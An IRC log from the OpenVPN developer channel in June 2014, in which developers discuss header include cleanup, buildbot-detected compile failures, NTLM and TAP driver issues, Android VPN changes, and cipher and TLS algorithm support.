[~rewt@openvpn/community/support/pekster] has quit [Quit: AF_INET -> AF_INET6] 10:07 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 10:07 -!- mode/#openvpn-devel [+o pekster] by ChanServ 10:59 -!- mattock_afk is now known as mattock 14:48 -!- mattock is now known as mattock_afk 16:49 * syzzer is in cleanup mode, but wondering whether you guys agree on this. 16:50 <@cron2> haven't seen the patch yet, but the general idea is sane :) 16:50 <@syzzer> There's quite an #include maze in the code base. I just started cleaning that up from the ssl code, which means moving a lot of #include's from header files to source files 16:50 <@cron2> I tried to figure out whether init.c includes route.h or not, and I agree about the "maze" :-) 16:52 <@syzzer> so far I've got a few patches that do something like \"remove one #include "foo.h" from bar.h, add a couple of #include "foo.h" to the various .c files\" 16:54 <@syzzer> which should help in getting rid of "everything includes everything" 16:54 <@pekster> As a high-level concept I like the idea, if for no other reason than defining where not-in-file definitions come from. The only drawbacks I see are 1) duplication of includes, but whatever, that's what happens in complex projects, and 2) I can see things getting left in that might not be required in the future as certain code segments are removed 16:55 <@pekster> So if we only included #include <blue-widget.h> to call the is_it_blue() function, but removed that later, do we remember to remove the #include too, kind of a thing 16:56 <@syzzer> well, that's what happens with #includes in header files too, with even greater impact :) 16:56 <@syzzer> 2, that is 16:57 <@syzzer> thanks for your opinions, I'll clean up a little more :) 16:58 <@pekster> It'll make maintaining it in the future a lot easier; rather than successfully walk ^Wmaster the maze to see the cruft, the fixing commit can just remove the excess #include lines 16:59 <@pekster> "it" being worthless includes 19:31 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 252 seconds] 19:32 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel --- Day changed Sun Jun 01 2014 01:36 -!- mattock_afk is now known as mattock 11:58 -!- mattock is now known as mattock_afk 12:08 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 245 seconds] 12:28 -!- mattock_afk is now known as mattock 13:04 <@cron2> mattock: builder says your ubuntu boxes are all offline... 14:02 <@cron2> syzzer: MOAR! 14:05 <@vpnHelper> RSS Update - gitrepo: Remove unused variable 'proxy' from socket_restart_pause() <https://github.com/OpenVPN/openvpn/commit/55af8e9a4138db0c9de6f6e29dec9839231ec798> || Remove dependency on manage.h from ssl_verify.h <https://github.com/OpenVPN/openvpn/commit/3ba6b9ff1a50800dfea55d33d9be53c77b50d307> || Move #include "ssl_verify.h" from ssl.h to the source files that need it. <https://github.com/OpenVPN/openvpn/commit/63dc03d068550a 14:17 <@vpnHelper> RSS Update - gitrepo: Add (default disabled) --enable-werror option to configure <https://github.com/OpenVPN/openvpn/commit/51194ffd1983f67b204348686f0ea358f29fe550> 14:50 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 14:50 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 15:22 -!- mattock is now known as mattock_afk 15:53 <@cron2> syzzer: mmmh, your patch set blew up compilation on about everything that is not linux... forward.c dies with 15:53 <@cron2> In file included from ssl_verify.h:35, from forward.c:42: 15:53 <@cron2> ssl_common.h:161: error: field 'session_id_remote' has incomplete type 15:53 <@cron2> ssl_common.h:163: error: field 'packet_id' has incomplete type 15:53 <@cron2> ssl_common.h:165: error: field 'key' has incomplete type 15:53 <@cron2> ssl_common.h:213: error: field 'key_type' has incomplete type 15:53 <@cron2> (and some more) 15:54 <@cron2> on FreeBSD, NetBSD, and even Arch Linux 15:54 <@cron2> while on *my* system, it of course worked... *hrmph* 16:14 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 245 seconds] 16:15 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:32 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel --- Day changed Mon Jun 02 2014 01:43 -!- dazo_afk is now known as dazo 01:52 -!- mattock_afk is now known as mattock 01:57 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:13 <@syzzer> interesting. I'll take a look tonight. 02:13 <@cron2> http://en.wikiquote.org/wiki/Colossal_Cave_Adventure 02:13 <@vpnHelper> Title: Colossal Cave Adventure - Wikiquote (at en.wikiquote.org) 02:14 <@syzzer> lol 02:51 -!- mattock is now known as mattock_afk 03:03 -!- mattock_afk is now known as mattock 05:33 < reators> cron2: Are there any progresses in the review of the NTLM-patch? 06:11 <@cron2> reators: well, the author isn't actually very responsive to questions mailed his way... :-) 06:13 <@cron2> (tbh, I didn't have that much time to really work on this so far, the last 6 weeks or so have been extremely busy, and the heartbleed rush hasn't helped either) 06:14 <@cron2> but this reminds me of... :-) - d12fk: your weekly poking is due. *poke* :-)) 06:27 -!- dazo is now known as dazo_afk 08:08 -!- debbie10t [~ma1com10t@host-92-20-43-236.as13285.net] has joined #openvpn-devel 08:09 < debbie10t> Hi - is there a specific reason that --proto tcp was changed to --proto tcl-server/tcp-client .. is there any documentation on the change ? thanks 08:12 <@cron2> it wasn't 08:13 <@cron2> (changed, that is) 08:20 < debbie10t> ahhh ... so why does OpenVPN still support proto tcp ? when all the manuals (2.x+) say server/client ? 08:22 < debbie10t> is the only difference between proto tcp vs tcpserver/client that it defines the role ? and as the manual says one will listen the other will connect ? 08:23 < debbie10t> becuase i would think that is the role of --remote 08:23 < debbie10t> just trying to find an official doc on the subject really 08:33 <@plaisthos> debbie10t: that question belongs in #Openvpn 08:38 <@cron2> --proto tcp + --remote = --proto tcp-client 08:38 <@cron2> --proto tcp + --server = --proto tcp-server 08:38 <@cron2> this hasn't changed, and the man page is as (un)clear as ever :) 08:39 < debbie10t> cron2: thanks -- plaisthos: sorry 08:46 < reators> cron2: What is actually missing? The question that was asked on the ML regarding testing environment was acceptably answered by JJK. Sry, cannot provide more information, have only a Windows DC available ... 09:21 <@cron2> reators: well... jjk answered to the best of his knowledge, and I find it useful if the actual patch author answers as well (even if only "no idea, I test against a windows DC") - so, what proxy software *do* you use to test against? ISA server? 09:23 <@cron2> I'm not sure if anything is missing patchwise, but "more dialoge" would have been good :-) - anyway, I was too busy anyway. Still busy, but coming back to cleaning up openvpn stuff... - so, expect technical questions regarding the patch, then 10:00 < reators> cron2: Ok, thanks. My environment: Windows 2008 Server R2 as DC for AD and a Sophos UTM as Webproxy. 10:00 < reators> Sry for the misunderstanding. 10:04 <@cron2> reators: thanks. So this is not something I can easily set up to run tests here... (which was basically the background of my question - if I merge this, can I integrate this into my automated tests to make sure it keeps working) 10:06 < reators> cron2: I feared that ... 10:11 <@cron2> Squid seems to be able to do this, but only "as proxy", so you can forward NTLM auth to a server... 10:11 <@cron2> ... but having no "spare DC" around, that's not actually gaining me much :-) 10:16 < reators> Maybe it would help if we could find someone else who could test the NTLM-patch. What about a query on the ML? 10:23 <@cron2> yeah, that would be helpful 10:35 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has joined #openvpn-devel 10:44 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has quit [Quit: leaving] 10:45 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-18e1-1daf-01c6-4749.rev.sfr.net] has joined #openvpn-devel 11:30 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 13:25 <@syzzer> hmm, logic doesn't really help me in finding the #include error... Let's see how hard it is to get a FreeBSD VM and make it compile OpenVPN... 13:27 <@cron2> syzzer: send me a pgp key :) 13:27 <@cron2> (and a preferred user name) 13:27 * cron2 has all the buildbots at his disposal... 13:27 <@syzzer> cron2: pgp? or ssh? 13:27 <@cron2> gah 13:27 <@cron2> ssh 13:28 <@syzzer> ah, good 13:28 <@cron2> and the source network (v4/v6) you're ssh'ing from, I *think* there is a strict ACL in front 13:31 <@cron2> "steffan"? 13:33 <@syzzer> yup, just sent you the network too :) 13:33 <@cron2> yep, strict ACL, I'll need source network :) 13:33 <@cron2> ah 13:35 <@cron2> no idea whether my openssh is new enough to accept ecdsa keys :) we'll see 13:37 <@syzzer> hehe, let's see indeed. otherwise I'll send you my ancient-technology rsa key too ;) 13:39 <@cron2> host is "fbsd90.ov.greenie.net", despite the name it's a FreeBSD 9.1, ACL updated 13:40 <@cron2> that box had 8 errors (FreeBSD 7.1 only had two :) ) 13:42 <@syzzer> "Welcome to FreeBSD!" \o/ 13:42 <@cron2> Jun 2 20:41:57 fbsd91 sshd[7373]: Accepted publickey for steffan from 80.112.156.24 port 43184 ssh2 13:42 <@syzzer> that's a first for me ;) 13:42 <@cron2> \o/ :)) 13:43 <@cron2> you got a "ksh" shell, so you might want to "set -o emacs" to get cursor key editing (I think it defaults to vi mode) :-) - besides this, the normal unixy things will work, like "git clone", "configure", "vi" 13:43 <@cron2> no other editors installed, though 13:46 <@syzzer> "vi README" gives me cursor editing :) 13:48 <@cron2> <esc>hjkl will also work :) 13:56 <@syzzer> ah, it's not the platform, it's the --disable-ssl configure flag :) 14:00 <@cron2> argh 14:00 * cron2 didn't test *that*, but yes, it might need extra #ifdef SSL around something :) 14:01 <@cron2> good that we have the buildbots 14:02 <@syzzer> yup! the "#if defined(ENABLE_CRYPTO) && defined(ENABLE_SSL)" that wraps all of session_id.h makes sure including most of the other ssl* header files fail 14:09 -!- mattock is now known as mattock_afk 14:10 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Ping timeout: 272 seconds] 14:12 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 14:22 * cron2 goes watch TV for a moment, and then comes back to merge syzzer's upcoming patch :) 14:24 <@syzzer> heh, just sent it out :) 14:35 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 245 seconds] 14:44 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:44 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:55 <@andj> hmm, shame... I discovered that my router had OpenVPN support built in 14:55 <@andj> "Diffie-Hellman initialized with 512 bit key" 14:56 <@andj> I mean, I'm impressed that they build a whole CA infrastructure, generate certificates, have support for tls-auth... Then they ruin it with bad DH params :( 14:58 <@plaisthos> andj: :D 14:58 <@plaisthos> perhaps a default fallback for --dh that default to 2048 dh keypair isn't such a bad idea after all 14:59 <@andj> I'm filing a bug report now 14:59 <@andj> They're almost there :) 15:39 <@vpnHelper> RSS Update - gitrepo: Fix --disable-ssl builds, were broken by cleanup in 63dc03d. <https://github.com/OpenVPN/openvpn/commit/d0154a3a8a73fa656ba7ce2c15087db85c8ece92> 15:42 * cron2 should have looked at the buildbot overview yesterday... actually it's quite obvious which ones succeeded and which not. But from the amount of mail I got, the assumption "all of them failed" lay near :-) 17:33 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-18e1-1daf-01c6-4749.rev.sfr.net] has quit [Remote host closed the connection] 18:10 -!- debbie10t [~ma1com10t@host-92-20-43-236.as13285.net] has left #openvpn-devel [] 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:34 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 22:49 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao] --- Day changed Tue Jun 03 2014 00:03 -!- mattock_afk is now known as mattock 01:24 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:04 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has joined #openvpn-devel 02:46 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 02:46 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 02:46 -!- dazo_afk is now known as dazo 04:14 <@cron2> mornin' 04:16 <@plaisthos> morning 05:03 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 05:24 <@syzzer> dazo: you around? Could you maybe take a look at the plugin-related parts of n13l's EKM patch? I'm fine with the crypto bits, but familiar enough with the plugin bits. 05:24 <@syzzer> *not* familiar enough 05:33 <@dazo> syzzer: I'll try to do that today, but can't promise anything right now 05:48 <@syzzer> dazo: great, no rush :) 05:48 <@syzzer> plaisthos: Android 4.4.3 has "VPN fixes", do you already have a clue what they are? 05:49 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 06:01 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 06:01 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 06:11 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 264 seconds] 06:27 <@plaisthos> syzzer: no 06:27 <@plaisthos> has anyone already compiled a commit log? 06:34 <@plaisthos> 13:34:00.438807 IP6 2a00:1450:400c:c05::154.43451 > 2001:638:502:390:5054:ff:fe22:6c1f.53: 1851 [1au] A? mobile.twitter.com.blinkt.de. (57) 06:34 <@plaisthos> what happens if you leave your domain as default domain in the client 06:37 <@plaisthos> a1d7c74 Remove SO_BINDTODEVICE from VPN protect 06:37 <@plaisthos> is one fix 06:38 <@plaisthos> fb5800e Only allow System apps to make VPN exempt routes 06:38 <@plaisthos> that is a security fix 06:40 <@plaisthos> am eb3c0d9a: am 1aad3ad4: Merge "Fix support for simultaneous VPN tuns" into klp-dev 06:41 <@plaisthos> that is quite an important fix 06:41 <@plaisthos> that means I don't need the close tun ... wait a few sec open tun hack anymore 06:44 <@cron2> cool 06:47 <@plaisthos> but there is not even an image for my device (https://developers.google.com/android/nexus/images) 06:47 <@vpnHelper> Title: Factory Images for Nexus Devices - Android Google Developers (at developers.google.com) 06:48 <@plaisthos> just look for the one device which has 4.4.2 but no 4.4.3 and you have my device 06:51 <@cron2> that would be N7 gen 1? :) 06:51 <@plaisthos> nexus 7 06:51 <@plaisthos> without the 2013 string 06:52 <@plaisthos> nakasi or nakasig 06:54 <@plaisthos> but unless you have unlocked devices the factory images don't help you 06:55 <@syzzer> ah, cool, they finally fixed the tun-persist bug! 06:56 <@syzzer> and fb5800e is pretty cool too, if it really works 06:56 <@plaisthos> I have still to wait until one of my KitKat devices gets 4.4.3 06:56 <@plaisthos> syzzer: also I am not sure if apps can still use SO_BINDTODEVICE to work around that 07:07 <@plaisthos> But I am not interested enough to try that out 07:09 <@plaisthos> my Sony Z1 compact wil probably take a long time to get 4.4.3 07:41 <@plaisthos> https://funkyandroid.com/aosp-KOT49H-KTU84L.html 07:41 <@vpnHelper> Title: KOT49H (4.4.2_r1) to KTU84L (4.4.3_r1) AOSP changelog. Hosted by Funky Android Ltd. (at funkyandroid.com) 07:41 <@plaisthos> is a nice graphic changelog 07:41 <@plaisthos> VPN stuff is completely in frameworks/base 07:42 <@plaisthos> oh no 07:42 <@plaisthos> there is also https://android.googlesource.com/platform/system/netd/+/797ec70 07:42 <@vpnHelper> Title: 797ec70 - platform/system/netd - Git at Google (at android.googlesource.com) 07:49 <@cron2> mmmh. I have read quite a bit about mp-tcp now, and I still do not understand whether or not the application has to do something to use it, or not... 07:50 <@cron2> (and if the application actually can control it, or it is all done automagically by the TCP layer in the kernel) 07:50 <@plaisthos> I think the application does not have to do anything 07:50 <@plaisthos> but I am not 100% sure 07:51 <@plaisthos> there might be new fancy setsockopt to control mp tcp behaviour 07:51 <@cron2> this is how it looks like, yeah. You just connect() to one IP address, and the server can tell you "oh, btw, I have more of them!" 07:51 <@plaisthos> don't read the mp tcp rfc 07:51 <@cron2> ... which is going to bring up questions like "please only advertise those two addresses, but do not advertise *this* one, as it's internal" 07:52 <@plaisthos> that is full hacks :) 07:52 * cron2 read a very detailed presentation, http://multipath-tcp.org/data/MultipathTCP-netsys.pdf - it explains all the "on the wire" decisions quite well, but no word about socket API 08:03 <@plaisthos> but apart from iOS there seems to be no production mtcp 08:03 <@plaisthos> I wonder what apple is running on their servers 08:04 <@plaisthos> OS X on non Apple hardware? 08:04 <@cron2> Microsoft used to run Linux on production critical systems :) 08:04 <@cron2> For Apple, I could imagine it being FreeBSD 08:06 <@plaisthos> maybe 08:06 <@plaisthos> but there seem to be no production freebsd mtcp 09:23 <@ecrist> mattock: I had already helped with Vance (re: security/email/delete my posts) 09:33 -!- mattock is now known as mattock_afk 09:57 <+krzee> apple has a bunch of solaris and netbsd 09:57 <+krzee> =] 11:43 -!- mattock_afk is now known as mattock 13:09 <@ecrist> krzee: Apple's AirPort base stations run NetBSD 13:42 -!- dazo is now known as dazo_afk 13:54 -!- mattock is now known as mattock_afk 14:32 <+krzee> not surprising i guess 14:32 <+krzee> they have serious netbsd techs there 14:49 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 14:57 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 15:08 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 252 seconds] 15:58 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 16:10 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-0213-72ff-feb1-7b24.rev.sfr.net] has quit [Remote host closed the connection] 17:14 <@vpnHelper> RSS Update - tickets: #413: shaper documentation <https://community.openvpn.net/openvpn/ticket/413> 18:20 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 18:20 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 18:20 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:33 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel --- Log closed Tue Jun 03 23:08:43 2014 --- Log opened Wed Jun 04 08:08:03 2014 08:08 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 08:08 -!- Irssi: #openvpn-devel: Total of 20 nicks [10 ops, 0 halfops, 2 voices, 8 normal] 08:08 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 08:08 -!- Irssi: Join to #openvpn-devel was synced in 7 secs 08:14 <@syzzer> they just wanted to brag about the hardware on their desks ;) 08:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 08:28 <@vpnHelper> RSS Update - tickets: #414: TLS_ERROR, VERIFY ERROR: depth=0, error=unhandled critical extension: C=RU,.... <https://community.openvpn.net/openvpn/ticket/414> 09:06 <@plaisthos> oh great 09:06 <@plaisthos> my 4.4.3 (or -master android?) does not like my app 09:06 <@plaisthos> only position independent executables (PIE) are supported 09:10 <@cron2> "that guy is making nothing but trouble, let's just kill his App with weird error messages" 09:12 <@plaisthos> well 09:12 <@plaisthos> probably I am just fixing Android 4.5 compatibility at the moment 09:12 <@plaisthos> %) 09:35 <@plaisthos> oh that emulator is weird 09:35 <@plaisthos> I am getting ipv6 address first 09:40 -!- dazo_afk is now known as dazo 09:49 <@plaisthos> New feature of ics-openvpn: PIE on Jellybean+ 09:49 <@plaisthos> (Might formulate that a bit different for the actual release announcement) 09:53 -!- GrantK [pCnBI6MDq0@bolt.sonic.net] has joined #openvpn-devel 09:58 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:58 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 09:58 -!- mattock_afk is now known as mattock 09:58 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 09:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 09:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:59 < GrantK> I'm building Openvpn/git on Opensuse/64. When exec'ing the server, if --mlock & --user are set, the server fails @ boot with "Out of Memory". 09:59 < GrantK> This is apparently an old bug (https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=406895 , http://openvpn.net/archive/openvpn-users/2005-12/msg00013.html) that appeared to have a workaround of adding to /etc/security/limits.conf: "root hard memlock 64000; root soft memlock 64000" Unfortunately, here, even with that add'n. still get the "Out of memory" error. 09:59 <@vpnHelper> Title: #406895 - openvpn dies on boot with "Out of Memory" error when using "mlock" - Debian Bug report logs (at bugs.debian.org) 09:59 < GrantK> rm'ing "--mlock" eliminates the error. Before re-opening the issue, wanted to ask here for any guidance -- still a known issue? other resolution? 10:01 <@plaisthos> GrantK: 640k is not much memory 10:02 < GrantK> plaisthos: Hi. Sure. just following the recommended solution there. Just increase it more? 10:02 <@plaisthos> GrantK: I would try that 10:02 < GrantK> plaisthos: Any recommended amt? Or just incrementally increase until it stops? 10:02 <@plaisthos> since openvpn does call mlockall, all openvpn memory needs to fit into that memlock 10:03 <@plaisthos> GrantK: I would try like 100M 10:03 <@plaisthos> or simple don't care about mlock 10:04 <@plaisthos> when someone can you read your swap you have probably lost anyway 10:05 < GrantK> plaisthos: iiuc, "64000" in /etc/security/limits.conf, the values are in KB. so 64000 == 64MB ... 10:05 <@plaisthos> GrantK: then no idea 10:06 <@plaisthos> I have no idea how that is calculated 10:08 <@plaisthos> if you are unlucky you need the whole virtual memory size as limit 10:10 < GrantK> plaisthos: ok. i'm attempting to keep things under control on a 'slim' VPS ... 10:11 <@syzzer> GrantK: I recall you had a crypto-related question a little while ago, when I was away for vacation. If that's still unanswered I can give it a go now. It's just that I don't recall the question itself anymore... 10:11 <@plaisthos> vps might play in there as well 10:11 <@plaisthos> no idea what vps does in regards to mlock 10:14 < GrantK> syzzer: hi. it was regarding ECC support. in openvpn/git, note only the mention of ECDSA support, not of newer/preferred tech e.g. chacha20-poly1305 cipher and curve25519-sha256 kex algo. 10:14 < GrantK> plans for those cipher/kex anytime soon? 10:14 <@plaisthos> prefered by whom? 10:15 <@plaisthos> IIrc only OpenBSD has implemented those 10:15 <@syzzer> ah, right. not specifically, that's more up to the crypto library 10:15 <@syzzer> those are Bernstein algorithms, nice stuff indeed, but I wouldn't go as far as preferred 10:17 <@syzzer> OpenVPN 'just' does TLS, if both TLS and the crypto library implementation add support for chacha and/or curve25519 (or others), OpenVPN will probably work with them without further modification 10:18 < GrantK> reators: preferred, depends on how you read the likes of http://www.pcworld.com/article/2148500/google-speeds-up-encrypted-web-communications-in-chrome-on-android.html, but fair enuf 10:18 < GrantK> syzzer: hm. haven't been able to get it to work here. ECDSA, no problems. 10:18 < GrantK> for OPenVPN that is. 10:18 <@syzzer> that's for the control (TLS) channel, for the data channel the story is almost the same - as soon as the EVP API of OpenSSL, and/or the cipher wrapper of PolarSSL add support, you should be able to select it 10:19 <@syzzer> GrantK: I haven't tried it yet myself, so I can not say with certainty. 10:20 < GrantK> syzzer: maybe I misuderstand the semantics. :-/ I currently use chacha20/ed25519 in, e.g., my OpenSSH client/server & nginx already. 10:20 < GrantK> hmmm ... 10:21 <@plaisthos> grepping chacha in openssl 1.0.1g yields nothings 10:22 <@syzzer> at least the OpenSSL 1.0.1f on my ubuntu 14.04 doesn't seem to support chacha 10:22 <@plaisthos> syzzer: how did you check? 10:22 <@syzzer> openssl <tab> :p 10:23 <@plaisthos> openssl chacha 10:23 <@plaisthos> openssl:Error: 'chacha' is an invalid command. 10:23 <@syzzer> so that is not conclusive - it could be that just the tools don't support it - but it's a strong indication at least 10:23 <@plaisthos> your ubuntu 14.04 is different from mine 10:25 <@plaisthos> maybe you need 1.02 for chacha 10:26 <@plaisthos> GrantK: which openssl version do you have? 10:26 < GrantK> on this dev box, 1.0.2. chacha20's not (yet) in mainline. cref branch 1.0.2-aead. 10:27 < GrantK> plaisthos: ^ 10:27 <@syzzer> I might be able to play around a bit with it tonight, I have a dev box with 1.0.2 at home too 10:28 <@syzzer> GrantK: does your openssl build list chacha in the list from "openssl enc --help" ? 10:28 < GrantK> in openssl, that is. it's already in openssh. 10:30 <@cron2> openssh had it's own implementation 10:30 < GrantK> yep 10:30 < GrantK> getting tough following openssl, openssh, libressl -- everybody's @ a different point on the path 10:31 <@syzzer> don't forget polarssl ;) 10:31 <@syzzer> they were the first to implement the brainpool curve 10:32 < GrantK> syzzer: I'm not in front of that box to verify the exact result atm, but I'd assume yes, or close. fyi, https://github.com/openssl/openssl/commit/9a8646510b3d0a48e950748f7a2aaa12ed40d5e0 10:32 <@vpnHelper> Title: chacha20poly1305 · 9a86465 · openssl/openssl · GitHub (at github.com) 10:35 < GrantK> syzzer: is the intent here to have both control & data channels in openvpn fully ec capable? 10:36 <@syzzer> the data channel uses symmetric encryption only, so no EC or RSA at all 10:37 <@syzzer> but chacha is a symmetric stream cipher, so that should work in the data channel 10:37 <@syzzer> and as far as I can see from the patch "ECDHE-ECDSA-CHACHA20-POLY1305" should be available for TLSv1.2 connections - which should thus be possible with the current OpenVPN-git-master 10:38 < GrantK> syzzer: iiuc, the symmetric key is derived from the EC key -- i _thought_ that that meant that the derived key also was EC -- perhaps not. 10:38 <@syzzer> so that's "TLSv1.2, using Poly1305 as your curve for ECDSA, and ChaCha as your symmetric cipher" 10:39 <@syzzer> GrantK: partly, a symmetric key is derived from your TLS session 10:39 < GrantK> not yet, then, "TLSv1.2, using ed25519 as your curve and ChaCha as your symmetric cipher ... 10:40 * GrantK is getting a headache 10:43 < GrantK> syzzer: atm, with current openvpn/git, and ecdsa ON, i'm getting "TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)" @ client. digging as to why ... particularly looking or -- is it an EC issue? 10:46 <@syzzer> ah, right poly1305 is a MAC. It's too easy to get confused... 10:48 <@syzzer> did you successfully create EC certificates using the ed25519 curve? 10:50 <@syzzer> anyway, I can't say whether this is due to openvpn or openssl without diving in - and my boss likes me to do payed-for work now ;) 10:50 < GrantK> syzzer: with easyrsa v3? 10:50 < GrantK> heh, np 10:50 -!- debbie10t [~ma1com10t@host-92-20-43-236.as13285.net] has joined #openvpn-devel 10:50 < GrantK> hm. s/proto udp/proto tcp-client/ fixes my problems atm 10:50 <@syzzer> I'll see if I can toy around with it a bit, hopefully soon 10:51 < GrantK> udp with !EC works fine 10:51 < debbie10t> As this is a question about source files, i thought i would ask here, could somebody pls check this sometime: https://forums.openvpn.net/topic16029.html 10:51 <@vpnHelper> Title: OpenVPN Support Forum TAP Windows source zip file has no sources : Forum & Website Support (at forums.openvpn.net) 10:54 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 10:56 <@syzzer> mattock: sounds like something for you? ^^ 10:59 -!- GrantK [pCnBI6MDq0@bolt.sonic.net] has quit [Quit: GrantK] 11:00 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Ping timeout: 252 seconds] 11:01 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 12:23 <@dazo> syzzer: seen this one? https://lwn.net/Articles/601249/ 12:23 <@vpnHelper> Title: Patch All The Things! New "Cupid" Technique Exploits Heartbleed Bug (PCMagazine) [LWN.net] (at lwn.net) 12:28 <@syzzer> dazo: heard of it, haven't looked at it until just now 12:31 <@syzzer> pretty cool! really interested in the first reports on access point / client vulnerability too. I'm guessing there's a lot of unupdated embedded devices out there, but probably a lot of 0.9.8 too... 12:48 <@dazo> yeah 12:59 < debbie10t> This might be worth a bug report (please advise) - user has own compiled TAP driver has posted reasonable details (win7/8) : https://forums.openvpn.net/topic16030.html 12:59 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN 2.3.4 Crashes with latest TAP Driver : Testing branch (at forums.openvpn.net) 13:25 <@dazo> debbie10t: iirc (remember, I'm no Windows developer) ... I doubt compiling it on Win8 makes any sense. There's another driver in the pipe to support Win8 ... this is due to some NDIS API which Win8 stopped supporting, so our driver had to be updated 13:43 -!- dazo is now known as dazo_afk 14:18 -!- mattock is now known as mattock_afk 15:12 <@cron2> syzzer: I'm a bit unsure about the refine-assertion-to-allow-other-modes patch - what jjk mentioned, what was this outlen check there for, anyway? 15:13 <@syzzer> the ASSERT is specific to crypto modes that require the module cipher-block-size lengths 15:13 <@syzzer> like CBC 15:14 <@cron2> that is, all blocks have to have the same length? 15:14 * cron2 has no idea what CBC, CFB, OFB stand for - sorry :) 15:14 <@syzzer> if you feed such a cipher data, the crypto context will buffer the plain text data after the last complete cipher block during cipher_update() calls 15:15 <@syzzer> yes, block ciphers encrypt per-block 15:15 <@syzzer> some modes, like CTR, OFB, CFB, GCM (which actually is CTR) don't require the input to be multiples of the block size 15:15 <@syzzer> but CBC does. that is then solved by padding the input to a full block 15:16 <@syzzer> but hat happens only up cipher_finish(). Any remaining plaintext is padded and encrypted. So finish() in CBC mode should always return a full block. 15:17 <@syzzer> but since the caching and padding is not required for CTR/OFB/CFB, the update() calls alway give you all the ciphertext you need, and finish() doesn't return any ciphertext. 15:18 <@syzzer> wikipedia has a rather okay explanation of the modes, if you're interested: 15:18 <@syzzer> http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Common_modes 15:18 <@vpnHelper> Title: Block cipher mode of operation - Wikipedia, the free encyclopedia (at en.wikipedia.org) 15:22 -!- randt0sh [~tosh@2a02-8420-5d7e-c300-fd7e-a189-8dcc-1f1c.rev.sfr.net] has quit [Remote host closed the connection] 15:28 <@cron2> ok, thanks. So that ASSERT() really should not ever fire in CBC mode (unless something is truly broken), but is likely to go off in the non-padded modes every time 15:28 <@cron2> makes sense 15:29 <@syzzer> other way around, but yes ;) 15:29 <@syzzer> no, you're right, I'm reading it 